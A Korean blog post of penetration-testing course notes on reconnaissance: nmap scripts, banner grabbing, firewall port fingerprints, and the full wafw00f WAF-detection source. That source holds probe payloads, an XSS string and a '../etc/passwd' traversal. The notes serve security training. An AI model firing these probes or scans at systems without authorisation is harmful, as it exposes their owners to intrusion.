블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2025.5
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글

'모의해킹 침해대응 전문가 과정'에 해당되는 글 99건

  1. 2016.06.20 20160620 정보수집단계
  2. 2016.06.18 20160617 정보수집단계
  3. 2016.06.16 20160616 정보수집단계
  4. 2016.06.15 20160615 네트워크이론
  5. 2016.06.15 20160614 네트워크이론
  6. 2016.06.14 20160613 네트워크이론
  7. 2016.06.14 20160613 프로젝트#1 피드백
  8. 2016.06.04 20160603 프로젝트#1
  9. 2016.06.03 20160602 프로젝트#1
  10. 2016.06.03 20160602 프로그래밍 기초

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
apt-get update ; apt-get upgrade -y ; apt-get dist-upgrade -y ; apt-get clean ; apt-get autoclean ; apt-get auto-remove -y
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[참고] nmap & NSE(엔맵 스크립트 엔진)

nmap CMD 기본 기능(Host sweep, port scan) + NSE


(KaliLinux)
# zenmap &
Profile > New Profile or Command > Scripting 탭

● NSE는 Kali Linux에 기본 내장 되어 있고 nmap의 최신 버전으로 업데이트가 되면 자동으로 같이 업데이트가 된다.
    # apt-get update
    # apt-get upgrade nmap

# /usr/share/nmap
# ls

nmap-mac-prefixes  nmap-protocols       nmap-services  nse_main.lua
nmap-os-db         nmap-rpc             nmap.dtd       nselib/
nmap-payloads      nmap-service-probes  nmap.xsl       scripts/


# cd scripts
# ls

acarsd-info.nse
address-info.nse
afp-brute.nse
afp-ls.nse
afp-path-vuln.nse
afp-serverinfo.nse
afp-showmount.nse
ajp-auth.nse
ajp-brute.nse
ajp-headers.nse
ajp-methods.nse
ajp-request.nse
allseeingeye-info.nse
amqp-info.nse
asn-query.nse
auth-owners.nse
auth-spoof.nse
backorifice-brute.nse
backorifice-info.nse
banner.nse
bitcoin-getaddr.nse
bitcoin-info.nse
..... (중략) .....


# vi banner.nse         ([TERM2] # zenmap &)

local comm = require "comm"
local nmap = require "nmap"
local stdnse = require "stdnse"
local table = require "table"

description = [[
A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.

The banner will be truncated to fit into a single line, but an extra line may be printed for every
increase in the level of verbosity requested on the command line.
]]

---
-- @output
-- 21/tcp open  ftp
-- |_ banner: 220 FTP version 1.0\x0D\x0A
-- @arg banner.ports Which ports to grab. Same syntax as -p option. Use
--                   "common" to only grab common text-protocol banners.
--                   Default: all ports.
-- @arg banner.timeout How long to wait for a banner. Default: 5s
..... (중략) .....




5.  운영체제 스캐닝

● 배너 그래빙(Banner Grabbing)
● telnet 명령어를 사용하여 원격지의 시스템에 로그인을 시도하면 나타나는 안내문
● 운영체제 버전과 커널 버전을 확인
● 배너 그래빙은 21, 23, 25, 110, 143 포트에서도 가능

(linux200)
# telnet localhost 23

Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux200.example.com (Linux release 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013) (3)

login:
<CTRL + ]>
telnet> quit


# telnet localhost 21

Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 (vsFTPd 2.0.5)
quit


# telnet localhost 25

rying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 mail.example.com ESMTP Sendmail 8.13.8/8.13.8; Tue, 15 Jul 2014 09:28:06 +0900
quit


# lynx -head http://localhost (# telnet localhost 80)

HTTP/1.1 200 OK
Date: Wed, 16 Jul 2014 07:02:33 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 14 Jul 2014 10:40:47 GMT
ETag: "62237b-43-ec8109c0"
Accept-Ranges: bytes
Content-Length: 67
Connection: close
Content-Type: text/html; charset=UTF-8
Q


[참고] netcat(nc) CMD
-> netcat CMD 사용법 정리





[참고] banner 메세지를 모을 수 있는 툴을 만들어 보자.

    (KaliLinux) --- banner grabbing --> (linux200)
    # ./banner.sh 192.168.20.200

# vi banner.sh
-----------------------------
banner_telnet.sh
banner_ftp.sh
banner_smtp.sh
banner_http.sh
-----------------------------

# ./banner.sh 192.168.20.200
-----------------------------
====== TELNET ====
linux200.example.com (Linux release 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013) (2)

====== FTP ======
220 (vsFTPd 2.0.5)

====== SMTP =======
220 mail.example.com ESMTP Sendmail 8.13.8/8.13.8; Tue, 15 Jul 2014 09:28:06 +0900

====== WEB ========
Server: Apache/2.2.3 (CentOS)

------------------------------







6. 포트 스캔을 통한 보안 장비 설치 여부 확인

방화벽(침입 차단 시스템)
● Checkpoint(Firewall-1) : 256,257,258
● 어울림(Secureworks)    : 3346,2890
● CISCO PIX              : 530,540
● Astaro                 : 1235,1236

IDS(침입탐지 시스템)
● Checkpoint(VPN Swite)  : 300,301
● 인젠(NeoWatcher)       : 1887
● Snort                  : 2350



[실습] IDS/IPS/WAF 탐지 여부 확인

웹클라언트 ----------> 방화벽 --> IPS/IDS(침입차단시스템) --> WAF(웹방화벽) --> 웹서버
(웹브라우저)


■ Waffit : 웹 방화벽 방어 여부 확인

Waffit를 실행하면 Wafw00f라는 도구가 실행된다. WafW00f는 파이썬 스크립트로 웹서버가 웹 애플리케이션 방화벽(WAF, Web Application Firewall)으로 보호 받고 있는지를 탐지하는 도구이다.

(KaliLinux)
# which wafw00f      /* 0: 숫자 0 */

/usr/bin/wafw00f


# file /usr/bin/wafw00f

/usr/bin/wafw00f: Python script, ASCII text executable


# wafw00f www.example.com

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/ 
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/   
                                <  
                                 ...'
                                
    WAFW00F - Web Application Firewall Detection Tool
   
    By Sandro Gauci && Wendel G. Henrique

Checking http://www.example.com
Generic Detection results:
The site http://www.example.com seems to be behind a WAF
Reason: The server header is different when an attack is detected.
The server header for a normal response is "ECS (rhv/818F)", while the server header a response to an attack is "ECS (rhv/81A8).",
Number of requests: 12




(주의) 임의의 사이트에 대해 수행하지 않는다. 웹서버쪽에는 지속적인 기록이 남겨진다.
# wafw00f www.soldesk.com

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/ 
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/   
                                <  
                                 ...'
                                
    WAFW00F - Web Application Firewall Detection Tool
   
    By Sandro Gauci && Wendel G. Henrique

Checking http://www.soldesk.com
Generic Detection results:
No WAF detected by the generic detection
Number of requests: 13



[실습] wireshark를 통해 wafw00f 명령어 수행에 대한 동작을 분석한다.

[실습] visualroute를 통해 방화벽/웹방화벽이 존재하는지 확인한다.
- www.naver.com
- www.daum.net
- www.example.com
- www.soldesk.com




# which wafw00f

/usr/bin/wafw00f


# file /usr/bin/wafw00f
-> python script

# vi /usr/bin/wafw00f

#!/usr/bin/env python
# wafw00f - Web Application Firewall Detection Tool
# by Sandro Gauci - enablesecurity.com (c) 2009
#  and Wendel G. Henrique - Trustwave 2009

__license__ = """
Copyright (c) 2009, {Sandro Gauci|Wendel G. Henrique}
All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
      this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright notice,
      this list of conditions and the following disclaimer in the documentation
      and/or other materials provided with the distribution.
    * Neither the name of EnableSecurity or Trustwave nor the names of its contributors
      may be used to endorse or promote products derived from this software
      without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
OF THE POSSIBILITY OF SUCH DAMAGE.
"""
import os
import httplib
from urllib import quote, unquote
import urllib2
from optparse import OptionParser
import logging
import socket
import sys
sys.path.append("/usr/share/waffit/")
import random

currentDir = os.getcwd()
scriptDir = os.path.dirname(sys.argv[0]) or '.'
os.chdir( scriptDir )

from libs.evillib import *

__version__ = '0.9.0'

lackofart = """
                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/ 
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/   
                                <  
                                 ...'
                                
    WAFW00F - Web Application Firewall Detection Tool
   
    By Sandro Gauci && Wendel G. Henrique
"""


class WafW00F(waftoolsengine):
    """
    WAF detection tool
    """
   
    AdminFolder = '/Admin_Files/'
    xssstring = '<script>alert(1)</script>'
    dirtravstring = '../../../../etc/passwd'
    cleanhtmlstring = '<invalid>hello'
    isaservermatch = 'Forbidden ( The server denied the specified Uniform Resource Locator (URL). Contact the server administrator.  )'
   
    def __init__(self,target='www.microsoft.com',port=80,ssl=False,
                 debuglevel=0,path='/',followredirect=True):
        """
        target: the hostname or ip of the target server
        port: defaults to 80
        ssl: defaults to false
        """
        waftoolsengine.__init__(self,target,port,ssl,debuglevel,path,followredirect)
        self.log = logging.getLogger('wafw00f')
        self.knowledge = dict(generic=dict(found=False,reason=''),wafname=list())
       
    def normalrequest(self,usecache=True,cacheresponse=True,headers=None):
        return self.request(usecache=usecache,cacheresponse=cacheresponse,headers=headers)
   
    def normalnonexistentfile(self,usecache=True,cacheresponse=True):
        path = self.path + str(random.randrange(1000,9999)) + '.html'
        return self.request(path=path,usecache=usecache,cacheresponse=cacheresponse)
   
    def unknownmethod(self,usecache=True,cacheresponse=True):
        return self.request(method='OHYEA',usecache=usecache,cacheresponse=cacheresponse)
   
    def directorytraversal(self,usecache=True,cacheresponse=True):
        return self.request(path=self.path+self.dirtravstring,usecache=usecache,cacheresponse=cacheresponse)
       
    def invalidhost(self,usecache=True,cacheresponse=True):
        randomnumber = random.randrange(100000,999999)
        return self.request(headers={'Host':str(randomnumber)})
       
    def cleanhtmlencoded(self,usecache=True,cacheresponse=True):
        string = self.path + quote(self.cleanhtmlstring) + '.html'
        return self.request(path=string,usecache=usecache,cacheresponse=cacheresponse)

    def cleanhtml(self,usecache=True,cacheresponse=True):
        string = self.path + self.cleanhtmlstring + '.html'
        return self.request(path=string,usecache=usecache,cacheresponse=cacheresponse)
       
    def xssstandard(self,usecache=True,cacheresponse=True):
        xssstringa = self.path + self.xssstring + '.html'
        return self.request(path=xssstringa,usecache=usecache,cacheresponse=cacheresponse)
   
    def protectedfolder(self,usecache=True,cacheresponse=True):
        pfstring = self.path + self.AdminFolder
        return self.request(path=pfstring,usecache=usecache,cacheresponse=cacheresponse)

    def xssstandardencoded(self,usecache=True,cacheresponse=True):
        xssstringa = self.path + quote(self.xssstring) + '.html'
        return self.request(path=xssstringa,usecache=usecache,cacheresponse=cacheresponse)
   
    def cmddotexe(self,usecache=True,cacheresponse=True):
        # thanks j0e
        string = self.path + 'cmd.exe'
        return self.request(path=string,usecache=usecache,cacheresponse=cacheresponse)
   
    attacks = [cmddotexe,directorytraversal,xssstandard,protectedfolder,xssstandardencoded]
   
    def genericdetect(self,usecache=True,cacheresponse=True):       
        reason = ''
        reasons = ['Blocking is being done at connection/packet level.',
                   'The server header is different when an attack is detected.',
                   'The server returned a different response code when a string trigged the blacklist.',
                   'It closed the connection for a normal request.',
                   'The connection header was scrambled.'
                   ]
        # test if response for a path containing html tags with known evil strings
        # gives a different response from another containing invalid html tags
        r = self.cleanhtml()
        if r is None:
            self.knowledge['generic']['reason'] = reasons[0]
            self.knowledge['generic']['found'] = True
            return True
        cleanresponse,_tmp =r
        r = self.xssstandard()
        if r is None:           
            self.knowledge['generic']['reason'] = reasons[0]
            self.knowledge['generic']['found'] = True
            return True
        xssresponse,_tmp = r
        if xssresponse.status != cleanresponse.status:
            self.log.info('Server returned a different response when a script tag was tried')           
            reason = reasons[2]
            reason += '\r\n'
            reason += 'Normal response code is "%s",' % cleanresponse.status
            reason += ' while the response code to an attack is "%s"' % xssresponse.status
            self.knowledge['generic']['reason'] = reason
            self.knowledge['generic']['found'] = True
            return True
        r = self.cleanhtmlencoded()
        cleanresponse,_tmp = r
        r = self.xssstandardencoded()
        if r is None:           
            self.knowledge['generic']['reason'] = reasons[0]
            self.knowledge['generic']['found'] = True
            return True
        xssresponse,_tmp = r
        if xssresponse.status != cleanresponse.status:
            self.log.info('Server returned a different response when a script tag was tried')
            reason = reasons[2]
            reason += '\r\n'
            reason += 'Normal response code is "%s",' % cleanresponse.status
            reason += ' while the response code to an attack is "%s"' % xssresponse.status
            self.knowledge['generic']['reason'] = reason
            self.knowledge['generic']['found'] = True
            return True
        response, responsebody = self.normalrequest()
        normalserver = response.getheader('Server')
        for attack in self.attacks:       
            r = attack(self)             
            if r is None:               
                self.knowledge['generic']['reason'] = reasons[0]
                self.knowledge['generic']['found'] = True
                return True
            response, responsebody = r
            attackresponse_server = response.getheader('Server')
            if attackresponse_server:
                if attackresponse_server != normalserver:
                    self.log.info('Server header changed, WAF possibly detected')
                    self.log.debug('attack response: %s' % attackresponse_server)
                    self.log.debug('normal response: %s' % normalserver)
                    reason = reasons[1]
                    reason += '\r\nThe server header for a normal response is "%s",' % normalserver
                    reason += ' while the server header a response to an attack is "%s.",' % attackresponse_server
                    self.knowledge['generic']['reason'] = reason
                    self.knowledge['generic']['found'] = True
                    return True
        for attack in self.wafdetectionsprio:
            if self.wafdetections[attack](self) is None:
                self.knowledge['generic']['reason'] = reasons[0]
                self.knowledge['generic']['found'] = True
                return True
        for attack in self.attacks:
            r = attack(self)
            if r is None:               
                self.knowledge['generic']['reason'] = reasons[0]
                self.knowledge['generic']['found'] = True
                return True
            response, responsebody = r
            for h,v in response.getheaders():
                if scrambledheader(h):
                    self.knowledge['generic']['reason'] = reasons[4]
                    self.knowledge['generic']['found'] = True
                    return True
        return False

    def matchheader(self,headermatch,attack=False,ignorecase=True):
        import re
        detected = False
        header,match = headermatch
        if attack:
            requests = self.attacks
        else:
            requests = [self.normalrequest]
        for request in requests:           
            r = request(self)
            if r is None:               
                return
            response,responsebody = r
            headerval = response.getheader(header)
            if headerval:
                # set-cookie can have multiple headers, python gives it to us
                # concatinated with a comma
                if header == 'set-cookie':
                    headervals = headerval.split(', ')
                else:
                    headervals = [headerval]
                for headerval in headervals:
                    if ignorecase:
                        if re.match(match,headerval,re.IGNORECASE):
                            detected = True
                            break
                    else:
                        if re.match(match,headerval):
                            detected = True
                            break
                if detected:
                    break
        return detected

    def isbigip(self):
        return self.matchheader(('X-Cnection','^close$'), attack=True)
   
    def iswebknight(self):
        detected = False
        for attack in self.attacks:
            r = attack(self)
            if r is None:               
                return
            response, responsebody = r
            if response.status == 999:
                detected = True
                break
        return detected
       
    def ismodsecurity(self):
        detected = False
        for attack in self.attacks:
            r = attack(self)
            if r is None:               
                return
            response, responsebody = r
            if response.status == 501:
                detected = True
                break
        return detected
   
    def isisaserver(self):
        detected = False
        r = self.invalidhost()
        if r is None:
            return
        response,responsebody = r
        if response.reason == self.isaservermatch:
            detected = True
        return detected
   
    def issecureiis(self):
        # credit goes to W3AF
        detected = False
        headers = dict()
        headers['Transfer-Encoding'] = 'z' * 1025
        r = self.normalrequest(headers=headers)
        if r is None:
            return
        response,responsebody = r
        if response.status == 404:
            detected = True
        return detected
   
    def matchcookie(self,match):
        """
        a convenience function which calls matchheader
        """
        return self.matchheader(('set-cookie',match))
   
    def isairlock(self):
        # credit goes to W3AF
        return self.matchcookie('^AL[_-]?(SESS|LB)=')
   
    def isbarracuda(self):
        # credit goes to W3AF
        return self.matchcookie('^barra_counter_session=')
   
    def isdenyall(self):
        # credit goes to W3AF
        if self.matchcookie('^sessioncookie='):
            return True
        # credit goes to Sebastien Gioria
        #   Tested against a Rweb 3.8
        # and modified by sandro gauci and someone else
        for attack in self.attacks:
            r = attack(self)
            if r is None:
                return
            response, responsebody = r
            if response.status == 200:
                if response.reason == 'Condition Intercepted':
                    return True
        return False
   
    def isbeeware(self):
        # disabled cause it was giving way too many false positives
        # credit goes to Sebastien Gioria
        detected = False
        r = self.xssstandard()
        if r is None:
            return
        response, responsebody = r
        if (response.status != 200) or (response.reason == 'Forbidden'):
            r = self.directorytraversal()
            if r is None:
                return
            response, responsebody = r
            if response.status == 403:
                if response.reason == "Forbidden":
                    detected = True
        return detected
       
    def isf5asm(self):
        # credit goes to W3AF
        return self.matchcookie('^TS[a-zA-Z0-9]{3,6}=')
   
    def isf5trafficshield(self):
        for hv in [['cookie','^ASINFO='],['server','F5-TrafficShield']]:           
            r = self.matchheader(hv)
            if r is None:
                return
            elif r:
                return r
        return False

    def isteros(self):
        # credit goes to W3AF
        return self.matchcookie('^st8id=')
   
    def isnetcontinuum(self):
        # credit goes to W3AF
        return self.matchcookie('^NCI__SessionId=')
   
    def isbinarysec(self):
        # credit goes to W3AF
        return self.matchheader(('server','BinarySec'))
   
    def ishyperguard(self):
        # credit goes to W3AF
        return self.matchcookie('^WODSESSION=')
   
    def isprofense(self):
        """
        Checks for server headers containing "profense"
        """
        return self.matchheader(('server','profense'))
       
    def isnetscaler(self):
        """
        First checks if a cookie associated with Netscaler is present,
        if not it will try to find if a "Cneonction" or "nnCoection" is returned
        for any of the attacks sent
        """
        # NSC_ and citrix_ns_id come from David S. Langlands <dsl 'at' surfstar.com>
        if self.matchcookie('^(ns_af=|citrix_ns_id|NSC_)'):
            return True   
        if self.matchheader(('Cneonction','close'),attack=True):
            return True
        if self.matchheader(('nnCoection','close'),attack=True):
            return True
        return False
   
    def isurlscan(self):
        detected = False
        testheaders = dict()
        testheaders['Translate'] = 'z'*10
        testheaders['If'] = 'z'*10
        testheaders['Lock-Token'] = 'z'*10
        testheaders['Transfer-Encoding'] = 'z'*10
        r = self.normalrequest()
        if r is None:
            return
        response,_tmp = r
        r = self.normalrequest(headers=testheaders)
        if r is None:
            return
        response2,_tmp = r
        if response.status != response2.status:
            if response2.status == 404:
                detected = True
        return detected
   
    def iswebscurity(self):
        detected = False
        r = self.normalrequest()
        if r is None:
            return
        response,responsebody=r
        if response.status == 403:
            return detected
        newpath = self.path + '?nx=@@'
        r = self.request(path=newpath)
        if r is None:
            return
        response,responsebody = r
        if response.status == 403:
            detected = True
        return detected
   
    def isdotdefender(self):
        # thanks to j0e
        return self.matchheader(['X-dotDefender-denied', '^1$'],attack=True)

    def isimperva(self):
        # thanks to Mathieu Dessus <mathieu.dessus(a)verizonbusiness.com> for this
        # might lead to false positives so please report back to sandro@enablesecurity.com
        for attack in self.attacks:
            r = attack(self)
            if r is None:
                return
            response, responsebody = r
            if response.version == 10:
                return True
        return False
   
    def ismodsecuritypositive(self):
        import random
        detected = False
        self.normalrequest(usecache=False,cacheresponse=False)
        randomfn = self.path + str(random.randrange(1000,9999)) + '.html'
        r = self.request(path=randomfn)
        if r is None:
            return
        response,responsebody = r
        if response.status != 302:
            return False
        randomfnnull = randomfn+'%00'
        r = self.request(path=randomfnnull)
        if r is None:
            return
        response,responsebody = r
        if response.status == 404:
            detected = True
        return detected
   
    def isibmdatapower(self):
    # Added by Mathieu Dessus <mathieu.dessus(a)verizonbusiness.com>
    detected = False
    if self.matchheader(('X-Backside-Transport', '^(OK|FAIL)')):
        detected = True
    return detected


    def isibm(self):
        detected = False
        r = self.protectedfolder()
        if r is None:
            detected = True
        return detected


    wafdetections = dict()
    # easy ones
    wafdetections['IBM Web Application Security'] = isibm
    wafdetections['IBM DataPower'] = isibmdatapower
    wafdetections['Profense'] = isprofense
    wafdetections['ModSecurity'] = ismodsecurity
    wafdetections['ISA Server'] = isisaserver
    wafdetections['NetContinuum'] = isnetcontinuum
    wafdetections['HyperGuard'] = ishyperguard
    wafdetections['Barracuda'] = isbarracuda
    wafdetections['Airlock'] = isairlock
    wafdetections['BinarySec'] = isbinarysec
    wafdetections['F5 Trafficshield'] = isf5trafficshield
    wafdetections['F5 ASM'] = isf5asm
    wafdetections['Teros'] = isteros
    wafdetections['DenyALL'] = isdenyall
    wafdetections['BIG-IP'] = isbigip
    wafdetections['Citrix NetScaler'] = isnetscaler
    # lil bit more complex
    wafdetections['webApp.secure'] = iswebscurity
    wafdetections['WebKnight'] = iswebknight   
    wafdetections['URLScan'] = isurlscan
    wafdetections['SecureIIS'] = issecureiis
    wafdetections['dotDefender'] = isdotdefender
    #wafdetections['BeeWare'] = isbeeware
    # wafdetections['ModSecurity (positive model)'] = ismodsecuritypositive removed for now
    wafdetections['Imperva'] = isimperva
    wafdetectionsprio = ['Profense','NetContinuum',                        
                         'Barracuda','HyperGuard','BinarySec','Teros',
                         'F5 Trafficshield','F5 ASM','Airlock','Citrix NetScaler',
                         'ModSecurity', 'IBM Web Application Security', 'IBM DataPower', 'DenyALL',
                         'dotDefender','webApp.secure', # removed for now 'ModSecurity (positive model)',                        
                         'BIG-IP','URLScan','WebKnight',
                         'SecureIIS','Imperva','ISA Server']
   
    def identwaf(self,findall=False):
        detected = list()
        for wafvendor in self.wafdetectionsprio:
            self.log.info('Checking for %s' % wafvendor)
            if self.wafdetections[wafvendor](self):
                detected.append(wafvendor)
                if not findall:
                    break
        self.knowledge['wafname'] = detected
        return detected

def calclogginglevel(verbosity):
    default = 40 # errors are printed out
    level = default - (verbosity*10)
    if level < 0:
        level = 0
    return level

class wafwoof_api:
    def __init__(self):
        self.cache = dict()
       
    def vendordetect(self,url,findall=False):           
        if self.cache.has_key(url):
            wafw00f = self.cache[url]
        else:
            r = oururlparse(url)
            if r is None:
                return ['']
            (hostname,port,path,query,ssl) = r
            wafw00f = WafW00F(target=hostname,port=port,path=path,ssl=ssl)
            self.cache[url] = wafw00f
        return wafw00f.identwaf(findall=findall)
   
    def genericdetect(self,url):           
        if self.cache.has_key(url):
            wafw00f = self.cache[url]
        else:
            r = oururlparse(url)
            if r is None:
                return {}
            (hostname,port,path,query,ssl) = r
            wafw00f = WafW00F(target=hostname,port=port,path=path,ssl=ssl)
            self.cache[url] = wafw00f
        wafw00f.genericdetect()
        return wafw00f.knowledge['generic']
       
    def alltests(self,url,findall=False):
        if self.cache.has_key(url):
            wafw00f = self.cache[url]
        else:
            r = oururlparse(url)
            if r is None:
                return {}
            (hostname,port,path,query,ssl)  = r
            wafw00f = WafW00F(target=hostname,port=port,path=path,ssl=ssl)
            self.cache[url] = wafw00f
        wafw00f.identwaf(findall=findall)
        if (len(wafw00f.knowledge['wafname']) == 0) or (findall):
            wafw00f.genericdetect()
        return wafw00f.knowledge




def xmlrpc_interface(bindaddr=('localhost',8001)):
    from SimpleXMLRPCServer import SimpleXMLRPCServer
    from SimpleXMLRPCServer import SimpleXMLRPCRequestHandler
   
    class RequestHandler(SimpleXMLRPCRequestHandler):
        rpc_paths = ('/RPC2',)
   
       
    server = SimpleXMLRPCServer(bindaddr,
                            requestHandler=RequestHandler)
    server.register_introspection_functions()
    server.register_instance(wafwoof_api())
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print "bye!"
        return




def main():
    print lackofart
    parser = OptionParser(usage="""%prog url1 [url2 [url3 ... ]]\r\nexample: %prog http://www.victim.org/""")
    parser.add_option('-v','--verbose',action='count', dest='verbose', default=0,
                      help="enable verbosity - multiple -v options increase verbosity")
    parser.add_option('-a','--findall',action='store_true', dest='findall', default=False,
                      help="Find all WAFs, do not stop testing on the first one")
    parser.add_option('-r','--disableredirect',action='store_false',dest='followredirect',
                      default=True, help='Do not follow redirections given by 3xx responses')
    parser.add_option('-t','--test',dest='test',
                      help='Test for one specific WAF')
    parser.add_option('-l','--list',dest='list', action='store_true',
                      default=False,help='List all WAFs that we are able to detect')
    parser.add_option('--xmlrpc',dest='xmlrpc', action='store_true',
                      default=False,help='Switch on the XML-RPC interface instead of CUI')
    parser.add_option('--xmlrpcport',dest='xmlrpcport', type='int',
                      default=8001,help='Specify an alternative port to listen on, default 8001')
    parser.add_option('--version','-V',dest='version', action='store_true',
                      default=False,help='Print out the version')
    options,args = parser.parse_args()
    logging.basicConfig(level=calclogginglevel(options.verbose))
    log = logging.getLogger()
    if options.list:
        print "Can test for these WAFs:\r\n"
        attacker = WafW00F(None)       
        print '\r\n'.join(attacker.wafdetectionsprio)
        return
    if options.version:
        print 'WAFW00F version %s' % __version__
        return
    elif options.xmlrpc:
        print "Starting XML-RPC interface"
        xmlrpc_interface(bindaddr=('localhost',options.xmlrpcport))
        return
    if len(args) == 0:
        parser.error("we need a target site")
    targets = args
    for target in targets:
        if not (target.startswith('http://') or target.startswith('https://')):
            log.info('The url %s should start with http:// or https:// .. fixing (might make this unusable)' % target)
            target = 'http://' + target
        print "Checking %s" % target
        pret = oururlparse(target)
        if pret is None:
            log.critical('The url %s is not well formed' % target)
            sys.exit(1)
        (hostname,port,path,query,ssl) = pret
        log.info('starting wafw00f on %s' % target)
        attacker = WafW00F(hostname,port=port,ssl=ssl,
                           debuglevel=options.verbose,path=path,
                           followredirect=options.followredirect)
        if attacker.normalrequest() is None:
            log.error('Site %s appears to be down' % target)
            sys.exit(1)
        if options.test:
            if attacker.wafdetections.has_key(options.test):
                waf = attacker.wafdetections[options.test](attacker)
                if waf:
                    print "The site %s is behind a %s" % (target, options.test)
                else:
                    print "WAF %s was not detected on %s" % (options.test,target)
            else:
                print "WAF %s was not found in our list\r\nUse the --list option to see what is available" % options.test
            return
        waf = attacker.identwaf(options.findall)
        log.info('Ident WAF: %s' % waf)
        if len(waf) > 0:
            print 'The site %s is behind a %s' % (target, ' and/or '.join( waf))
        if (options.findall) or len(waf) == 0:
            print 'Generic Detection results:'         
            if attacker.genericdetect():               
                log.info('Generic Detection: %s' % attacker.knowledge['generic']['reason'])                   
                print 'The site %s seems to be behind a WAF ' % target
                print 'Reason: %s' % attacker.knowledge['generic']['reason']
            else:
                print 'No WAF detected by the generic detection'
        print 'Number of requests: %s' % attacker.requestnumber

if __name__ == '__main__':
    if sys.hexversion < 0x2040000:
        sys.stderr.write('Your version of python is way too old .. please update to 2.4 or later\r\n')       
    main()



프로그램을 분석할때는 출력결과와 비교분석하면서 찾아야 한다




    ■ 정보 수집 과정의 종류
    □ 검색 엔진을 사용하는 경우(EX: 구글링)        □ 인터넷(정보보안사이트)을 통해 정보를 확인하는 방법(EX: exploit-db.com)        □ 구글 검색을 통해 정보를 확인하는 방법(EX: 구글해킹)
    □ DNS 서버를 사용하는 경우(EX: dnsenum CMD)
    □ 사회공학적인 기법(Social Engineering)을 사용하는 경우(EX: SET)
    □ 스캐너를 사용하는 방법        □ 일반 스캐너를 사용하는 방법(EX: nmap/zenmap)   




7. 무료 취약점 스캐너 종류

자동으로 보안 감사를 할 수 있도록 하는 등의 기능을 하는 취약점 스캐너는 IT 보안에서 아주 중요하다. 네트워크와 웹사이트가 수만 가지의 보안 위험 중 하나 이상에 노출되었는지 스캔을 하고, 우선시 패치해야 할 대상을 알려준다. 또 취약점과 취약점을 바로잡는 방법에 관한 정보를 제공한다. 일부 스캐너의 경우 자동 패칭 기능을 제공하기도 한다.

비싼 취약점 스캐너와 보안 감사 툴도 있지만, 무료로 이용할 수 있는 제품과 서비스도 있다. 또 특정 취약점만 조사하는 제품이나 더 넓은 범위에서 IT 보안을 점검하는 제품들이 있다. 무료지만 유용하게 활용할 수 있는 취약점 스캐너 6종을 소개한다.

● 오픈VAS(OpenVAS)
● 레티나 CS 커뮤니티(Retina CS Community)
● MBSA(Microsoft Baseline Security Analyzer)
● 넥스포즈 커뮤니티 에디션(Nexpose Community Edition)
● 시큐어체크(SecureCheq)
● 퀄리스 프리스캔(QualysFreeScan)


오픈VAS(OpenVAS)
레티나 CS 커뮤니티(Retina CS Community)


MBSA(Microsoft Baseline Security Analyzer)
넥스포즈 커뮤니티 에디션(Nexpose Community Edition)


시큐어체크(SecureCheq)
퀄리스 프리스캔(QualysFreeScan)






■ 오픈VAS(OpenVAS)

오픈 VAS(Vulnerability Assessment System)는 GNU GPL(General Public License)로 라이선싱 받은 기술들로 대부분이 구성된 무료 네트워크 보안 스캐너 플랫폼이다. 몇몇 리눅스 패키지나 다운로드 가능한 테스트/평가용 버츄얼 어플라이언스(VA)로 주요 기술들이 구성돼 있다. 스캐너 자체는 윈도우용이 아니지만 윈도우용 클라이언트를 제공하기도 한다.

오픈VAS에서 가장 중요한 기술 요소는 리눅스에서만 실행시킬 수 있는 보안 스캐너다. NVT(Network Vulnerability Test)로부터 매일 업데이트되는 피드를 수신해 스캐닝하는데, 그 수가 3만 3,000개 이상이다.

